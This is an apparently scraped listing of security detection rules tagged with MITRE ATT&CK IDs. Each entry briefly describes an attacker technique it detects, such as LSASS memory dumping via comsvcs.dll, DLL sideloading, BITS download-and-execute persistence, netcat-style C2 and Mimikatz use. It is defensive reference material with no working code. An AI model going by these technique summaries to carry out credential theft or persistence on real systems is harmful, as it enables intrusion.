Detects the setting of the "DumpType" registry value to "2" which stands for a "Full Dump". Technique such as LSASS Shtinkering requires this value to be "2" in order to dump LSASS.

Read More
LSASS Memory Access by Tool With Dump Keyword In Name

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.s0002 ·
Share on:

Detects LSASS process access requests from a source process with the "dump" keyword in its image name.

Read More
Lsass Memory Dump via Comsvcs DLL

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.

Read More
LSASS Process Dump Artefact In CrashDumps Folder

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects the presence of an LSASS dump file in the "CrashDumps" folder. This could be a sign of LSASS credential dumping. Techniques such as the LSASS Shtinkering have been seen abusing the Windows Error Reporting to dump said process.

Read More
LSASS Process Reconnaissance Via Findstr.EXE

Aug 12, 2024 · attack.credential-access attack.t1552.006 ·
Share on:

Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID

Read More
MacOS Emond Launch Daemon

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1546.014 ·
Share on:

Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.

Read More
MacOS Network Service Scanning

Aug 12, 2024 · attack.discovery attack.t1046 ·
Share on:

Detects enumeration of local or remote network services.

Read More
Macos Remote System Discovery

Aug 12, 2024 · attack.discovery attack.t1018 ·
Share on:

Detects the enumeration of other remote systems.

Read More
MacOS Scripting Interpreter AppleScript

Aug 12, 2024 · attack.execution attack.t1059.002 ·
Share on:

Detects execution of AppleScript of the macOS scripting language AppleScript.

Read More
Macro Enabled In A Potentially Suspicious Document

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects registry changes to Office trust records where the path is located in a potentially suspicious location

Read More
Mailbox Export to Exchange Webserver

Aug 12, 2024 · attack.persistence attack.t1505.003 ·
Share on:

Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it

Read More
Malicious Base64 Encoded PowerShell Keywords in Command Lines

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects base64 encoded strings used in hidden malicious PowerShell command lines

Read More
Malicious DLL File Dropped in the Teams or OneDrive Folder

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.defense-evasion attack.t1574.002 ·
Share on:

Detects creation of a malicious DLL file in the location where the OneDrive or Team applications Upon execution of the Teams or OneDrive application, the dropped malicious DLL file ("iphlpapi.dll") is sideloaded

Read More
Malicious IP Address Sign-In Failure Rate

Aug 12, 2024 · attack.t1090 attack.command-and-control ·
Share on:

Indicates sign-in from a malicious IP address based on high failure rates.

Read More
Malicious IP Address Sign-In Suspicious

Aug 12, 2024 · attack.t1090 attack.command-and-control ·
Share on:

Indicates sign-in from a malicious IP address known to be malicious at time of sign-in.

Read More
Malicious Named Pipe Created

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 ·
Share on:

Detects the creation of a named pipe seen used by known APTs or malware.

Read More
Malicious Nishang PowerShell Commandlets

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects Commandlet names and arguments from the Nishang exploitation framework

Read More
Malicious PE Execution by Microsoft Visual Studio Debugger

Aug 12, 2024 · attack.t1218 attack.defense-evasion ·
Share on:

There is an option for a MS VS Just-In-Time Debugger "vsjitdebugger.exe" to launch specified executable and attach a debugger. This option may be used adversaries to execute malicious code by signed verified binary. The debugger is installed alongside with Microsoft Visual Studio package.

Read More
Malicious PowerShell Commandlets - PoshModule

Aug 12, 2024 · attack.execution attack.discovery attack.t1482 attack.t1087 attack.t1087.001 attack.t1087.002 attack.t1069.001 attack.t1069.002 attack.t1069 attack.t1059.001 ·
Share on:

Detects Commandlet names from well-known PowerShell exploitation frameworks

Read More
Malicious PowerShell Commandlets - ScriptBlock

Aug 12, 2024 · attack.execution attack.discovery attack.t1482 attack.t1087 attack.t1087.001 attack.t1087.002 attack.t1069.001 attack.t1069.002 attack.t1069 attack.t1059.001 ·
Share on:

Detects Commandlet names from well-known PowerShell exploitation frameworks

Read More
Malicious PowerShell Keywords

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects keywords from well-known PowerShell exploitation frameworks

Read More
Malicious ShellIntel PowerShell Commandlets

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects Commandlet names from ShellIntel exploitation scripts.

Read More
Malicious Usage Of IMDS Credentials Outside Of AWS Infrastructure

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1078 attack.t1078.002 ·
Share on:

Detects when an instance identity has taken an action that isn't inside SSM. This can indicate that a compromised EC2 instance is being used as a pivot point.

Read More
Malicious Windows Script Components File Execution by TAEF Detection

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces Adversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe

Read More
Malware Shellcode in Verclsid Target Process

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 detection.emerging-threats ·
Share on:

Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro

Read More
Malware User Agent

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects suspicious user agent strings used by malware in proxy logs

Read More
ManageEngine Endpoint Central Dctask64.EXE Potential Abuse

Aug 12, 2024 · attack.defense-evasion attack.t1055.001 ·
Share on:

Detects the execution of "dctask64.exe", a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution.

Read More
Manipulation of User Computer or Group Security Principals Across AD

Aug 12, 2024 · attack.persistence attack.t1136.002 ·
Share on:

Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..

Read More
Masquerading as Linux Crond Process

Aug 12, 2024 · attack.defense-evasion attack.t1036.003 ·
Share on:

Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

Read More
Mavinject Inject DLL Into Running Process

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055.001 attack.t1218.013 ·
Share on:

Detects process injection using the signed Windows tool "Mavinject" via the "INJECTRUNNING" flag

Read More
MaxMpxCt Registry Value Changed

Aug 12, 2024 · attack.defense-evasion attack.t1070.005 ·
Share on:

Detects changes to the "MaxMpxCt" registry value. MaxMpxCt specifies the maximum outstanding network requests for the server per client, which is used when negotiating a Server Message Block (SMB) connection with a client. Note if the value is set beyond 125 older Windows 9x clients will fail to negotiate. Ransomware threat actors and operators (specifically BlackCat) were seen increasing this value in order to handle a higher volume of traffic.

Read More
Measurable Increase Of Successful Authentications

Aug 12, 2024 · attack.defense-evasion attack.t1078 ·
Share on:

Detects when successful sign-ins increased by 10% or greater.

Read More
MERCURY APT Activity

Aug 12, 2024 · attack.execution attack.t1059.001 attack.g0069 detection.emerging-threats ·
Share on:

Detects suspicious command line patterns seen being used by MERCURY APT

Read More
Mesh Agent Service Installation

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects a Mesh Agent service installation. Mesh Agent is used to remotely manage computers

Read More
Metasploit Or Impacket Service Installation Via SMB PsExec

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 attack.t1570 attack.execution attack.t1569.002 ·
Share on:

Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation

Read More
Metasploit SMB Authentication

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

Alerts on Metasploit host's authentications on the domain.

Read More
Meterpreter or Cobalt Strike Getsystem Service Installation - Security

Aug 12, 2024 · attack.privilege-escalation attack.t1134.001 attack.t1134.002 ·
Share on:

Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation

Read More
Meterpreter or Cobalt Strike Getsystem Service Installation - System

Aug 12, 2024 · attack.privilege-escalation attack.t1134.001 attack.t1134.002 ·
Share on:

Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation

Read More
Microsoft 365 - Impossible Travel Activity

Aug 12, 2024 · attack.initial-access attack.t1078 ·
Share on:

Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.

Read More
Microsoft 365 - Potential Ransomware Activity

Aug 12, 2024 · attack.impact attack.t1486 ·
Share on:

Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.

Read More
Microsoft 365 - Unusual Volume of File Deletion

Aug 12, 2024 · attack.impact attack.t1485 ·
Share on:

Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.

Read More
Microsoft 365 - User Restricted from Sending Email

Aug 12, 2024 · attack.initial-access attack.t1199 ·
Share on:

Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.

Read More
Microsoft Defender Blocked from Loading Unsigned DLL

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL

Read More
Microsoft Defender Tamper Protection Trigger

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects blocked attempts to change any of Defender's settings such as "Real Time Monitoring" and "Behavior Monitoring"

Read More
Microsoft Excel Add-In Loaded From Uncommon Location

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects Microsoft Excel loading an Add-In (.xll) file from an uncommon location

Read More
Microsoft IIS Connection Strings Decryption

Aug 12, 2024 · attack.credential-access attack.t1003 ·
Share on:

Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.

Read More
Microsoft IIS Service Account Password Dumped

Aug 12, 2024 · attack.credential-access attack.t1003 ·
Share on:

Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords

Read More
Microsoft Malware Protection Engine Crash

Aug 12, 2024 · attack.defense-evasion attack.t1211 attack.t1562.001 ·
Share on:

This rule detects a suspicious crash of the Microsoft Malware Protection Engine

Read More
Microsoft Malware Protection Engine Crash - WER

Aug 12, 2024 · attack.defense-evasion attack.t1211 attack.t1562.001 ·
Share on:

This rule detects a suspicious crash of the Microsoft Malware Protection Engine

Read More
Microsoft Office DLL Sideload

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location

Read More
Microsoft Office Protected View Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects changes to Microsoft Office protected view registry keys with which the attacker disables this feature.

Read More
Microsoft Sync Center Suspicious Network Connections

Aug 12, 2024 · attack.t1055 attack.t1218 attack.execution attack.defense-evasion ·
Share on:

Detects suspicious connections from Microsoft Sync Center to non-private IPs.

Read More
Microsoft Teams Sensitive File Access By Uncommon Applications

Aug 12, 2024 · attack.credential-access attack.t1528 ·
Share on:

Detects file access attempts to sensitive Microsoft teams files (leveldb, cookies) by an uncommon process.

Read More
Microsoft VBA For Outlook Addin Loaded Via Outlook

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects outlvba (Microsoft VBA for Outlook Addin) DLL being loaded by the outlook process

Read More
Mimikatz DC Sync

Aug 12, 2024 · attack.credential-access attack.s0002 attack.t1003.006 ·
Share on:

Detects Mimikatz DC sync security events

Read More
Mimikatz Use

Aug 12, 2024 · attack.s0002 attack.lateral-movement attack.credential-access car.2013-07-001 car.2019-04-004 attack.t1003.002 attack.t1003.004 attack.t1003.001 attack.t1003.006 ·
Share on:

This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)

Read More
Mint Sandstorm - AsperaFaspex Suspicious Process Execution

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects suspicious execution from AsperaFaspex as seen used by Mint Sandstorm

Read More
Mint Sandstorm - Log4J Wstomcat Process Execution

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects Log4J Wstomcat process execution as seen in Mint Sandstorm activity

Read More
Mint Sandstorm - ManageEngine Suspicious Process Execution

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects suspicious execution from ManageEngine as seen used by Mint Sandstorm

Read More
MITRE BZAR Indicators for Execution

Aug 12, 2024 · attack.execution attack.t1047 attack.t1053.002 attack.t1569.002 ·
Share on:

Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE

Read More
MITRE BZAR Indicators for Persistence

Aug 12, 2024 · attack.persistence attack.t1547.004 ·
Share on:

Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.

Read More
MMC Spawning Windows Shell

Aug 12, 2024 · attack.lateral-movement attack.t1021.003 ·
Share on:

Detects a Windows command line executable started from MMC

Read More
MMC20 Lateral Movement

Aug 12, 2024 · attack.execution attack.t1021.003 ·
Share on:

Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of "-Embedding" as a child of svchost.exe

Read More
Modification of IE Registry Settings

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects modification of the registry settings used for Internet Explorer and other Windows components that use these settings. An attacker can abuse this registry key to add a domain to the trusted sites Zone or insert javascript for persistence

Read More
Modification of ld.so.preload

Aug 12, 2024 · attack.defense-evasion attack.t1574.006 ·
Share on:

Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.

Read More
Modify Group Policy Settings

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1484.001 ·
Share on:

Detect malicious GPO modifications can be used to implement many other malicious behaviors.

Read More
Modify Group Policy Settings - ScriptBlockLogging

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1484.001 ·
Share on:

Detect malicious GPO modifications can be used to implement many other malicious behaviors.

Read More
Modify System Firewall

Aug 12, 2024 · attack.t1562.004 attack.defense-evasion ·
Share on:

Detects the removal of system firewall rules. Adversaries may only delete or modify a specific system firewall rule to bypass controls limiting network usage or access. Detection rules that match only on the disabling of firewalls will miss this.

Read More
Modify User Shell Folders Startup Value

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1547.001 ·
Share on:

Detect modification of the startup key to a path where a payload could be stored to be launched during startup

Read More
Modifying Crontab

Aug 12, 2024 · attack.persistence attack.t1053.003 ·
Share on:

Detects suspicious modification of crontab file.

Read More
Monitoring For Persistence Via BITS

Aug 12, 2024 · attack.defense-evasion attack.t1197 ·
Share on:

BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded.

Read More
Moriya Rootkit - System

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1543.003 ·
Share on:

Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report

Read More
Moriya Rootkit File Created

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1543.003 detection.emerging-threats ·
Share on:

Detects the creation of a file named "MoriyaStreamWatchmen.sys" in a specific location. This filename was reported to be related to the Moriya rootkit as described in the securelist's Operation TunnelSnake report.

Read More
Mount Execution With Hidepid Parameter

Aug 12, 2024 · attack.credential-access attack.t1564 ·
Share on:

Detects execution of the "mount" command with "hidepid" parameter to make invisible processes to other users from the system

Read More
MOVEit CVE-2023-34362 Exploitation Attempt - Potential Web Shell Request

Aug 12, 2024 · cve.2023-34362 detection.emerging-threats attack.persistence attack.t1505.003 ·
Share on:

Detects get requests to specific files used during the exploitation of MOVEit CVE-2023-34362

Read More
MSExchange Transport Agent Installation

Aug 12, 2024 · attack.persistence attack.t1505.002 ·
Share on:

Detects the Installation of a Exchange Transport Agent

Read More
MSExchange Transport Agent Installation - Builtin

Aug 12, 2024 · attack.persistence attack.t1505.002 ·
Share on:

Detects the Installation of a Exchange Transport Agent

Read More
MSHTA Suspicious Execution 01

Aug 12, 2024 · attack.defense-evasion attack.t1140 attack.t1218.005 attack.execution attack.t1059.007 cve.2020-1599 ·
Share on:

Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism

Read More
Mshtml.DLL RunHTMLApplication Suspicious Usage

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects execution of commands that leverage the "mshtml.dll" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, http...)

Read More
MSI Installation From Suspicious Locations

Aug 12, 2024 · attack.execution ·
Share on:

Detects MSI package installation from suspicious locations

Read More
MSI Installation From Web

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.t1218.007 ·
Share on:

Detects installation of a remote msi file from web.

Read More
MsiExec Web Install

Aug 12, 2024 · attack.defense-evasion attack.t1218.007 attack.command-and-control attack.t1105 ·
Share on:

Detects suspicious msiexec process starts with web addresses as parameter

Read More
MSMQ Corrupted Packet Encountered

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects corrupted packets sent to the MSMQ service. Could potentially be a sign of CVE-2023-21554 exploitation

Read More
MSSQL Add Account To Sysadmin Role

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role

Read More
MSSQL Disable Audit Settings

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects when an attacker calls the "ALTER SERVER AUDIT" or "DROP SERVER AUDIT" transaction in order to delete or disable audit logs on the server

Read More
MSSQL Extended Stored Procedure Backdoor Maggie

Aug 12, 2024 · attack.persistence attack.t1546 detection.emerging-threats ·
Share on:

This rule detects the execution of the extended storage procedure backdoor named Maggie in the context of Microsoft SQL server

Read More
MSSQL Server Failed Logon

Aug 12, 2024 · attack.credential-access attack.t1110 ·
Share on:

Detects failed logon attempts from clients to MSSQL server.

Read More
MSSQL Server Failed Logon From External Network

Aug 12, 2024 · attack.credential-access attack.t1110 ·
Share on:

Detects failed logon attempts from clients with external network IP to an MSSQL server. This can be a sign of a bruteforce attack.

Read More
MSSQL SPProcoption Set

Aug 12, 2024 · attack.persistence ·
Share on:

Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started

Read More
MSSQL XPCmdshell Option Change

Aug 12, 2024 · attack.execution ·
Share on:

Detects when the MSSQL "xp_cmdshell" stored procedure setting is changed.

Read More
MSSQL XPCmdshell Suspicious Execution

Aug 12, 2024 · attack.execution ·
Share on:

Detects when the MSSQL "xp_cmdshell" stored procedure is used to execute commands

Read More
Mstsc.EXE Execution From Uncommon Parent

Aug 12, 2024 · attack.lateral-movement ·
Share on:

Detects potential RDP connection via Mstsc using a local ".rdp" file located in suspicious locations.

Read More
Mstsc.EXE Execution With Local RDP File

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects potential RDP connection via Mstsc using a local ".rdp" file

Read More
Msxsl.EXE Execution

Aug 12, 2024 · attack.defense-evasion attack.t1220 ·
Share on:

Detects the execution of the MSXSL utility. This can be used to execute Extensible Stylesheet Language (XSL) files. These files are commonly used to describe the processing and rendering of data within XML files. Adversaries can abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.

Read More
Multifactor Authentication Denied

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1078.004 attack.t1110 attack.t1621 ·
Share on:

User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.

Read More
Multifactor Authentication Interrupted

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1078.004 attack.t1110 attack.t1621 ·
Share on:

Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.

Read More
Mustang Panda Dropper

Aug 12, 2024 · attack.t1587.001 attack.resource-development detection.emerging-threats ·
Share on:

Detects specific process parameters as used by Mustang Panda droppers

Read More
Named Pipe Created Via Mkfifo

Aug 12, 2024 · attack.execution ·
Share on:

Detects the creation of a new named pipe using the "mkfifo" utility

Read More
Narrator's Feedback-Hub Persistence

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects abusing Windows 10 Narrator's Feedback-Hub

Read More
NET NGenAssemblyUsageLog Registry Key Tamper

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects changes to the NGenAssemblyUsageLog registry key. .NET Usage Log output location can be controlled by setting the NGenAssemblyUsageLog CLR configuration knob in the Registry or by configuring an environment variable (as described in the next section). By simplify specifying an arbitrary value (e.g. fake output location or junk data) for the expected value, a Usage Log file for the .NET execution context will not be created.

Read More
Net WebClient Casing Anomalies

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques

Read More
Netcat The Powershell Version

Aug 12, 2024 · attack.command-and-control attack.t1095 ·
Share on:

Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network

Read More
NetNTLM Downgrade Attack

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 attack.t1112 ·
Share on:

Detects NetNTLM downgrade attack

Read More
Netsh Allow Group Policy on Microsoft Defender Firewall

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Adversaries may modify system firewalls in order to bypass controls limiting network usage

Read More
NetSupport Manager Service Install

Aug 12, 2024 · attack.persistence ·
Share on:

Detects NetSupport Manager service installation on the target system.

Read More
Network Communication Initiated To Portmap.IO Domain

Aug 12, 2024 · attack.t1041 attack.command-and-control attack.t1090.002 attack.exfiltration ·
Share on:

Detects an executable accessing the portmap.io domain, which could be a sign of forbidden C2 traffic or data exfiltration by malicious actors

Read More
Network Communication With Crypto Mining Pool

Aug 12, 2024 · attack.impact attack.t1496 ·
Share on:

Detects initiated network connections to crypto mining pools

Read More
Network Connection Initiated By AddinUtil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects a network connection initiated by the Add-In deployment cache updating utility "AddInutil.exe". This could indicate a potential command and control communication as this tool doesn't usually initiate network activity.

Read More
Network Connection Initiated By Eqnedt32.EXE

Aug 12, 2024 · attack.execution attack.t1203 ·
Share on:

Detects network connections from the Equation Editor process "eqnedt32.exe".

Read More
Network Connection Initiated By IMEWDBLD.EXE

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects a network connection initiated by IMEWDBLD.EXE. This might indicate potential abuse of the utility as a LOLBIN in order to download arbitrary files or additional payloads.

Read More
Network Connection Initiated By Regsvr32.EXE

Aug 12, 2024 · attack.execution attack.t1559.001 attack.defense-evasion attack.t1218.010 ·
Share on:

Detects a network connection initiated by "Regsvr32.exe"

Read More
Network Connection Initiated To AzureWebsites.NET By Non-Browser Process

Aug 12, 2024 · attack.command-and-control attack.t1102 attack.t1102.001 ·
Share on:

Detects an initiated network connection by a non browser process on the system to "azurewebsites.net". The latter was often used by threat actors as a malware hosting and exfiltration site.

Read More
Network Connection Initiated To Cloudflared Tunnels Domains

Aug 12, 2024 · attack.exfiltration attack.command-and-control attack.t1567.001 ·
Share on:

Detects network connections to Cloudflared tunnels domains initiated by a process on the system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

Read More
Network Connection Initiated To Mega.nz

Aug 12, 2024 · attack.exfiltration attack.t1567.001 ·
Share on:

Detects a network connection initiated by a binary to "api.mega.co.nz". Attackers were seen abusing file sharing websites similar to "mega.nz" in order to upload/download additional payloads.

Read More
Network Connection Initiated Via Notepad.EXE

Aug 12, 2024 · attack.command-and-control attack.execution attack.defense-evasion attack.t1055 ·
Share on:

Detects a network connection that is initiated by the "notepad.exe" process. This might be a sign of process injection from a beacon process or something similar. Notepad rarely initiates a network communication except when printing documents for example.

Read More
Network Reconnaissance Activity

Aug 12, 2024 · attack.discovery attack.t1087 attack.t1082 car.2016-03-001 ·
Share on:

Detects a set of suspicious network related commands often used in recon stages

Read More
Network Sniffing - Linux

Aug 12, 2024 · attack.credential-access attack.discovery attack.t1040 ·
Share on:

Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Read More
Network Sniffing - MacOs

Aug 12, 2024 · attack.discovery attack.credential-access attack.t1040 ·
Share on:

Detects the usage of tooling to sniff network traffic. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Read More
New ActiveScriptEventConsumer Created Via Wmic.EXE

Aug 12, 2024 · attack.persistence attack.t1546.003 ·
Share on:

Detects WMIC executions in which an event consumer gets created. This could be used to establish persistence

Read More
New Application in AppCompat

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.

Read More
New BgInfo.EXE Custom DB Path Registry Configuration

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects setting of a new registry database value related to BgInfo configuration. Attackers can for example set this value to save the results of the commands executed by BgInfo in order to exfiltrate information.

Read More
New BgInfo.EXE Custom VBScript Registry Configuration

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom VBScript via "BgInfo.exe"

Read More
New BgInfo.EXE Custom WMI Query Registry Configuration

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom WMI query via "BgInfo.exe"

Read More
New BITS Job Created Via Bitsadmin

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 ·
Share on:

Detects the creation of a new bits job by Bitsadmin

Read More
New BITS Job Created Via PowerShell

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 ·
Share on:

Detects the creation of a new bits job by PowerShell

Read More
New CA Policy by Non-approved Actor

Aug 12, 2024 · attack.defense-evasion attack.t1548 ·
Share on:

Monitor and alert on conditional access changes.

Read More
New Country

Aug 12, 2024 · attack.t1078 attack.persistence attack.defense-evasion attack.privilege-escalation attack.initial-access ·
Share on:

Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations.

Read More
New Custom Shim Database Created

Aug 12, 2024 · attack.persistence attack.t1547.009 ·
Share on:

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.

Read More
New DLL Added to AppCertDlls Registry Key

Aug 12, 2024 · attack.persistence attack.t1546.009 ·
Share on:

Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.

Read More
New DLL Added to AppInit_DLLs Registry Key

Aug 12, 2024 · attack.persistence attack.t1546.010 ·
Share on:

DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll

Read More
New DLL Registered Via Odbcconf.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.008 ·
Share on:

Detects execution of "odbcconf" with "REGSVR" in order to register a new DLL (equivalent to running regsvr32). Attackers abuse this to install and run malicious DLLs.

Read More
New DNS ServerLevelPluginDll Installed

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 attack.t1112 ·
Share on:

Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)

Read More
New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 attack.t1112 ·
Share on:

Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)

Read More
New Federated Domain Added

Aug 12, 2024 · attack.persistence attack.t1136.003 ·
Share on:

Detects the addition of a new Federated Domain.

Read More
New Federated Domain Added - Exchange

Aug 12, 2024 · attack.persistence attack.t1136.003 ·
Share on:

Detects the addition of a new Federated Domain.

Read More
New File Association Using Exefile

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects the abuse of the exefile handler in new file association. Used for bypass of security products.

Read More
New File Exclusion Added To Time Machine Via Tmutil - MacOS

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Detects the addition of a new file or path exclusion to MacOS Time Machine via the "tmutil" utility. An adversary could exclude a path from Time Machine backups to prevent certain files from being backed up.

Read More
New Firewall Rule Added In Windows Firewall Exception List For Potential Suspicious Application

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects the addition of a new rule to the Windows Firewall exception list for an application located in a potentially suspicious location.

Read More
New Firewall Rule Added In Windows Firewall Exception List Via WmiPrvSE.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects the addition of a new "Allow" firewall rule by the WMI process (WmiPrvSE.EXE). This can occur if an attacker leverages PowerShell cmdlets such as "New-NetFirewallRule", or directly uses WMI CIM classes such as "MSFT_NetFirewallRule".

Read More
New Firewall Rule Added Via Netsh.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 attack.s0246 ·
Share on:

Detects the addition of a new rule to the Windows firewall via netsh

Read More
New Generic Credentials Added Via Cmdkey.EXE

